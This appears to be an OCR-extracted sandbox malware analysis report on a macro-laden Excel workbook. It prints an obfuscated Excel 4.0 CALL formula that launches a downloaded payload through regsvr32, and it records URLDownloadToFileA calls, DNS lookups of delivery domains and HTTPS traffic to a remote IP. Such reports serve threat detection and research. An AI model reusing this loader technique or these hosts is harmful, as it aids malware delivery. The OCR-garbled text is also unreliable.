00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00

VBA Code Keywords

Keyword

Integer:

bycilke()

VB_Name
MiV(sem.value)
homepodd()
homepodd

Error

Integer)

bycilke

Function

ol).Name

")

String

"ab":

Split(govs,
Randomize:
yellowsto(yel

Next:
ActiveSheet.UsedRange.SpecialCells(xICellTypeConstants)
yellowsto(Oa))))
Integer

yellowsto

ol).value
nimo(Int((UBound(nimo)
Replace(Vo,
Chr(sem.Row)
Sheets(ol).Cells(homepodd,
"ab"))

Split(kij(ol),
yellowsto(homepodd))
Rnd))

(Run(™

"moreP_"

Variant)

Attribute
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Keyword

Resume
pagesREviewsd(Optional
ecimovert(nimo
ecimovert

MsgBox

VBA Code

VBA File Name: Sheetl.cls, Stream Size: 1614

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

Index

VB_Name
VB_Creatable
Application.OnTime
VB_Exposed

Long)
ResizePagess()
VB_Customizable
"REviewsd"
VB_Control
MultiPage"
VB_TemplateDerived
MSForms,

False

Attribute

Private
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
ResizePagess

"pages”

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

Copyright null 2021

VBA/Sheetl

Sheetl.cls

1614

................. LN O 4 G
................. X.....".view_1_a, 1, 0, MSForms, MultiPage....
................................... ME

0116 03 00 00 16 01 00 00 c8 03 00 00 fa 00 00 00 26 02 00 00 ff ff ff ff cf 03 00 00 e3 04 00
00 00 00 00 00 01 00 00 00 ba 78 c2 6b 00 00 ff ff 63 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

VBA/ThisWorkbook
ThisWorkbook.cls

01 16 03 00 00 fO 00 00 00 d2 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff d9 02 00 00 2d 03 00
00 00 00 00 00 01 00 00 00 ba 78 1c 64 00 00 ff ff 23 00 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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VBA Code Keywords

Keyword

False
VB_Exposed
Attribute
VB_Name
VB_Creatable
"ThisWorkbook"
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 554

General

Stream Path: PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 554

Entropy: 5.25519546931

Base64 Encoded: True

Data ASCII: ID="{4934EDC8-1B93-45BC-B693-DBB29D5C1470}"..Docum
ent=ThisWorkbook/&H00000000..Document=Sheetl/&H0000
0000..Module=Modulel..Name="VBAProject"..HelpContextlD
="0"..VersionCompatible32="393222000"..CMG="3735C41F
CC610765076507650765".. DPB="6E6C9D68E3A81BA91BA91

Data Raw: 49 44 3d 22 7b 34 39 33 34 45 44 43 38 2d 31 42 39 33 2d 34 35 42 43 2d 42 36 39 33 2d 44

42 42 3239 44 3543 31 34 37 30 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f
72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 44 6f 63 75 6d 65 6e 74 3d 53 68 65
65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 4d 6f 64 75 6¢ 65 3d 4d 6f 64 75 6¢ 65 31 0d
Oa 4e 61 6d 65 3d

Stream Path: PROJECTwm, File Type: data, Stream Size: 86

General

Stream Path: PROJECTwm

File Type: data

Stream Size: 86

Entropy: 3.24455457963

Base64 Encoded: False

Data ASCII: ThisWorkbook.T.h.i.s.W.o.r.k.b.o.o.k...Sheetl.S.h.e.e.t.1..
.Modulel.M.o.d.u.l.e.1.....

Data Raw: 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00

6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 4d
6f 64 75 6¢ 65 31 00 4d 00 6f 00 64 00 75 00 6¢ 00 65 00 31 00 00 00 00 00

Stream Path: VBA/_VBA_PROJECT, File Type: data, Stream Size: 3574

General

Stream Path: VBA/_VBA_PROJECT

File Type: data

Stream Size: 3574

Entropy: 4.46002460936

Base64 Encoded: False

Data ASCII: B .*\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C.:.\.P.r.o.g.r.a.m F.i.l.e.s.\.C.o.m.m.o.n. .F.i.l.e.s.\\.
M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.VW.B.A.\.V.B.A.7...1.\.V.B.E.
7.

Data Raw: cc 61 b2 00 00 03 00 ff 09 04 00 00 09 04 00 00 e4 04 03 00 00 00 00 00 00 00 00 00 01 00

05 00 02 00 20 01 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 32 00 23 00
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Stream Path: VBA/__SRP_0, File Type: data, Stream Size: 2060

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_1, File Type: data, Stream Size: 187

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_2, File Type: data, Stream Size: 363

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/__SRP_3, File Type: data, Stream Size: 398

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: VBA/dir, File Type: data, Stream Size: 820

General
Stream Path:

File Type:
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VBA/__SRP_0
data

2060
3.45134089702

False

93 4b 2a b2 03 00 10 00 00 00 ff ff 00 00 00 00 01 00 02 00 ff ff 00 00 00 00 01 00 00 00 02
00 00 00 00 00 01 00 02 00 02 00 00 00 00 00 01 00 05 00 05 00 05 00 05 00 05 00 05 00 05
00 05 00 05 00 05 00 05 00 05 00 00 00 72 55 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00
00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 06 00 00 00 00 00 00 7e 02 00 00 00 00
00 00 7e 02 00 00 00

VBA/__SRP_1
data

187

1.91493173134

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
00 00 ff ff f ff ff ff ff ff ff ff ff ff ff ff f ff ff ff ff ff OO 00 00 0O ff ff f ff ff f ff ff f ff ff ff ff ff f ff 11 00
00 00 00 00 00 00 00 00 03 00 02 00 00 00 00 00 00 08 02 00 00 00 00 00

VBA/__SRP_2
data

363
2.21122978445

False

7255 c0 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00
00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00
10 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ff ff

VBA/__SRP_3
data

398
2.07709195049

7255 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00
02 00 ff ff ff ff ff f ff ff f ff ff ff 00 00 00 00 10 00 00 00 08 00 38 00 f1 00 00 00 00 00 00 00 00
00 02 00 00 00 00 60 00 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

VBA/dir

data
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General

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macro 4.0 Code

820
6.5044215585

True

0 0*..... p..H..... d........ VBAProje.ct.. 4. @..j...=....r
........... a.....J<.....r.stdole>...s.t.d.o..l.e...h.% ... *\G{00.
020430-..... C...... 004.6}#2.0#0.#C:\Wind.ows\Syst em32\\.
e2..tIb#OLE .Automati.on. ...EOffDic.EO.f..i..c.E....... E.2D
F8Do04C.-

01 30 b3 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4
04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 Oa
3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 7f 90 eb 61 05 94 00 Oc 02 4a 3c 02 0a 16 00
01 72 80 73 74 64 6f 6¢ 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6¢ 00 65 00 Od 00 68 00
2502 5e 00 03 2a 5¢ 47

CALL(wegb&00, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, vO&"p"&w00&"n", "r'&w00&"gsvr'&00, " -s "&bb&abé&ba, 0, 0)

"=CALL(wegb&00,"S""&ohgdfww&"'A"™,i0&i0&"'CCCC"'&i0,0,v0&" p""&W00&" n"™","r""&w00& " "gsvr'"'&00," -s ""&bb&ab&ba,0,0)"'=RETURN()

OLE File "lopt/packageljoesandbox/database/analysis/338158/sample/sample20210111-01.xIsm"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 115

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: f, File Type: data, Stream Size: 178

Copyright null 2021

False
unknown

False

False

2020-12-07T14:38:21Z
2021-01-11T13:42:02Z
Microsoft Excel

0

false

false
false
false

16.0300

\x1CompObj
data

115
4.80096587863

False

bedded Object..... Forms.MultiPage.1..9.q............

01 00 fe ff 03 0a 00 00 ff ff ff ff 70 13 e3 46 7a 3f ce 11 be d6 00 aa 00 61 10 80 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 12 00 00 00 46 6f 72 6d 73 2e 4d 75 6¢ 74 69 50
61 67 65 2e 31 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i02/\x1CompObj, File Type: data, Stream Size: 110

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i02/f, File Type: data, Stream Size: 40

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i02/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i03/\x1CompObj, File Type: data, Stream Size: 110

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i03/f, File Type: data, Stream Size: 40

Copyright null 2021

data
178
2.59766210867

False

00 04 24 00 48 Oc 00 Oc 03 00 00 00 04 40 00 00 04 00 00 00 00 7d 00 00 84 00 00 00 84 00
00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 00 74 00 00 00 00 83 01 b0 00 00 1c 00 f4 01
00 00 01 00 00 00 32 00 00 00 98 00 00 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 24 00
d5 01 00 00 05 00 00 80 02 00 00 00 23 00 04 00 01 00 07 00 50 61 67 65 31 00 00 00 00 00
00 00 00 00 00 00 00 00

i02/\x1CompObj
data

110
4.63372611993

False

bedded Object..... Forms.Form.1..9.9............

01 00 fe ff 03 0a 00 00 ff ff ff ff fO 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d
69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62
65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

i02/f

data

40
1.54176014818

False

00 04 1c 00 40 Oc 00 08 04 80 00 00 00 7d 00 00 84 00 00 00 84 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

i02/0
empty

0.0

False

i03/\x1CompObj
data

110
4.63372611993

False

bedded Object..... Forms.Form.1..9.9............

01 00 fe ff 03 0a 00 00 ff ff ff ff fO 69 2a c6 dc 16 ce 11 9e 98 00 aa 00 57 4a 4f 19 00 00 00 4d
69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d 62
65 64 64 65 64 20 4f 62 6a 65 63 74 00 0d 00 00 00 46 6f 72 6d 73 2e 46 6f 72 6d 2e 31 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: i03/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: o, File Type: data, Stream Size: 152

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: x, File Type: data, Stream Size: 48

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macro 4.0 Code

i03/f

data

40
1.90677964945

False

00 04 1c 00 40 Oc 00 08 04 80 00 00 00 7d 00 00 6e 13 00 00 fd Ob 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

i03/0
empty

0.0

False

data
152
2.68720470607

False

P L Pagel....... Pag
e2. ... Tab3 .Tabd.. ... ... 5. Cali
bri.........

00 02 70 00 31 82 fa 00 00 00 00 00 18 00 00 00 02 00 00 00 08 00 00 00 10 00 00 00 04 00
00 00 08 00 00 00 02 00 00 00 08 00 00 00 84 00 00 00 84 00 00 00 05 00 00 80 50 61 67 65
31 00 00 00 05 00 00 80 50 61 67 65 32 00 00 00 00 00 00 00 00 00 00 00 04 00 00 80 54 61
62 33 04 00 00 80 54 61 62 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 18 00
3500 00 00 07 00 00 80

data

48
1.42267983198
False

00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 04 00 00 00 00 00 00 02 Oc 00 06 00
00 00 02 00 00 00 01 00 00 00 02 00 00 00 03 00 00 00

CALL(wegb&00, "S"&ohgdfww&"A", i0&i0&"CCCC"&i0, 0, v0&"p"&w00&"n", "r'&w00&"gsvr'&00, " -s "&bb&abé&ba, 0, 0)

"=CALL(wegb&00,"S""&ohgdfww&"'A"™,i0&i0&"'CCCC"'&i0,0,v0&" p""&W00&" n"™"," r""&w00& " "'gsvr*'&00," -s ""&bb&ab&ba,0,0)"'=RETURN()

Network Behavior

Network Port Distribution

Total Packets: 22
Copyright null 2021
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® 53 (DNS)
® 443 (HTTPS)

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Jan 11, 2021 18:28:00.002847910 CET 49167 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.125716925 CET 443 49167 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.125803947 CET 49167 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.138995886 CET 49167 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.262025118 CET 443 49167 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.263251066 CET 443 49167 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.263308048 CET 49167 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.264287949 CET 49167 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.265647888 CET 49168 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.387058973 CET 443 49167 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.388211012 CET 443 49168 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.388309956 CET 49168 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.389369965 CET 49168 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.512084007 CET 443 49168 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.512468100 CET 443 49168 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.512512922 CET 443 49168 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.512586117 CET 49168 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.512613058 CET 49168 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.526820898 CET 49168 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.527962923 CET 49169 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.649553061 CET 443 49168 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.650635004 CET 443 49169 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.650715113 CET 49169 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.651102066 CET 49169 443 192.168.2.22 199.59.242.150
Jan 11, 2021 18:28:00.773710012 CET 443 49169 199.59.242.150 192.168.2.22
Jan 11, 2021 18:28:00.773785114 CET 49169 443 192.168.2.22 199.59.242.150

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
Jan 11, 2021 18:27:59.845685959 CET 52197 53 192.168.2.22 8.8.8.8
Jan 11, 2021 18:27:59.992686987 CET 53 52197 8.8.8.8 192.168.2.22
Jan 11, 2021 18:28:36.852425098 CET 53099 53 192.168.2.22 8.8.8.8
Jan 11, 2021 18:28:36.900594950 CET 53 53099 8.8.8.8 192.168.2.22
Jan 11, 2021 18:28:36.939555883 CET 52838 53 192.168.2.22 8.8.8.8
Jan 11, 2021 18:28:36.987488985 CET 53 52838 8.8.8.8 192.168.2.22
Jan 11, 2021 18:28:38.115564108 CET 61200 53 192.168.2.22 8.8.8.8
Jan 11, 2021 18:28:38.163610935 CET 53 61200 8.8.8.8 192.168.2.22
Jan 11, 2021 18:28:38.174900055 CET 49548 53 192.168.2.22 8.8.8.8
Jan 11, 2021 18:28:38.225476980 CET 53 49548 8.8.8.8 192.168.2.22
Jan 11, 2021 18:28:38.506975889 CET 55627 53 192.168.2.22 8.8.8.8
Jan 11, 2021 18:28:38.555064917 CET 53 55627 8.8.8.8 192.168.2.22
Jan 11, 2021 18:28:38.562401056 CET 56009 53 192.168.2.22 8.8.8.8
Jan 11, 2021 18:28:38.610411882 CET 53 56009 8.8.8.8 192.168.2.22
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DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class
Jan 11, 2021 18:27:59.845685959 CET 192.168.2.22 8.8.8.8 0x26d4 Standard query  ppdb-legac A (IP address) IN (0x0001)
(0) y.manllamo
ngan.com
DNS Answers
Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class
Jan 11, 2021 8.8.8.8 192.168.2.22 0x26d4 No error (0) ppdb-legac 199.59.242.150 A (IP address) IN (0x0001)
18:27:59.992686987 y.manllamo
CET ngan.com
Jan 11, 2021 8.8.8.8 192.168.2.22 0Oxa0c2 No error (0) cdn.digice 104.18.10.39 A (IP address) IN (0x0001)
18:28:38.163610935 rtcdn.com
CET
Jan 11, 2021 8.8.8.8 192.168.2.22 0xa0c2 No error (0) cdn.digice 104.18.11.39 A (IP address) IN (0x0001)
18:28:38.163610935 rtcdn.com
CET
Jan 11, 2021 8.8.8.8 192.168.2.22 0x342 No error (0) cdn.digice 104.18.11.39 A (IP address) IN (0x0001)
18:28:38.225476980 rtcdn.com
CET
Jan 11, 2021 8.8.8.8 192.168.2.22 0x342 No error (0) cdn.digice 104.18.10.39 A (IP address) IN (0x0001)
18:28:38.225476980 rtcdn.com
CET

Code Manipulations

Statistics

Behavior

@ EXCEL.EXE
® regsvr32.exe
@ DW20.EXE

@ DWWIN.EXE

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 2032 Parent PID: 584

General

Start time: 18:27:41

Start date: 11/01/2021

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Copyright null 2021 Page 32 of 67



Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\AppData\Local\Temp\Excel8.0

C:\Users\user\AppData\Local\Temp\Excel8.0\MSForms.exd

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

Copyright null 2021

Access

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

false

'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding

0x13f530000
27641504 bytes

5FBOAOF93382ECD19F5F499A5CAA59F0

true

true

C, C++ or other language

high

Attributes Options

device

device

device

device

device

device

device

device

device

device

device

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

success or wait

success or wait

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

object name
collision

Count

Source
Address

7FEEAD326B4

7FEEACDFDDC

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

14025828C

Symbol
CreateDirectoryA

unknown

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\F660.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\94A44127.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.MSO\5B1BD8FC.emf

C:\Users\user\AppData\Local\Temp\67FE0000

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files\Content. MSO\E97A6CCD.emf

C:\Users\user\AppData\Local\Temp\msohtmiclip

C:\Users\user\AppData\Local\Temp\msohtmiclip1

C:\Users\user\AppData\Local\Temp\msohtmiclip1\01

C:\Users\user\Desktop\~$sample20210111-01.xIsm

C:\Users\user\Desktop\BOOF0000

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet

Files\Content. MSO\58DCE563.emf

C:\Users\user\AppData\Local\Temp\998453.cvr

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Office\14.0\

File Deleted
Copyright null 2021

Access

read attributes |
synchronize |
generic read

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
delete | syn
chronize |
generic read |
generic write

read attributes |
synchronize |
generic read |
generic write

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

synchronous io
non alert | non
directory file

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

synchronous io
non alert | non
directory file |
open no recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
delete on close
| open no recall

synchronous io
non alert | non
directory file |
open no recall

sequential only
| synchronous
io non alert |
non directory f
ile | open no
recall

synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

object name
collision

object name
collision

object name
collision

Count

Source
Address

13F87EC83

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

14025828C

14025828C

14025828C

14025828C

Symbol
GetTempFileNameW

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA

URLDownloadToFileA
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Source

File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\94A44127.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5B1BD8FC.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E97A6CCD.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\F660.tmp success or wait 1 13FAEB818 DeleteFilew
C:\Users\user\AppData\Local\Temp\~DF88E93B432823AA94.TMP success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\58DCE563.emf success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\~DF35C2B84DBF184AC9.TMP success or wait 1 7FEEAC59ACO unknown
File Moved
Source
Old File Path New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\67FE0000 C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\BOOF0000 C:\Users\user\Desktop\sample20210111-01.xIsm. success or wait 1 7FEEAC59ACO unknown
File Written
Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Desktop\~$sample20210111-01.xlsm unknown 55 05 41 6¢ 62 75 73 .user success or wait 1 13F77F526 WriteFile

2020202020

20202020 20

2020202020

2020202020

2020202020

20202020 20

2020202020

2020202020

2020202020

20202020
C:\Users\user\Desktop\~$sample20210111-01.xlsm unknown 110 050041006c00 ..Albus.............. success or wait 1 13F77F591 WriteFile

6200750073 ...

0020002000  ..............

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

200020 00 20

00 20 00 20 00

20 00 20 00
C:\Users\user\AppData\Local\Te unknown 4 4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
mp\Excel8.0\MSForms.exd
C:\Users\user\AppData\Local\Te unknown 4 02 00 01 00 success or wait 1 7FEEACDFDDC unknown
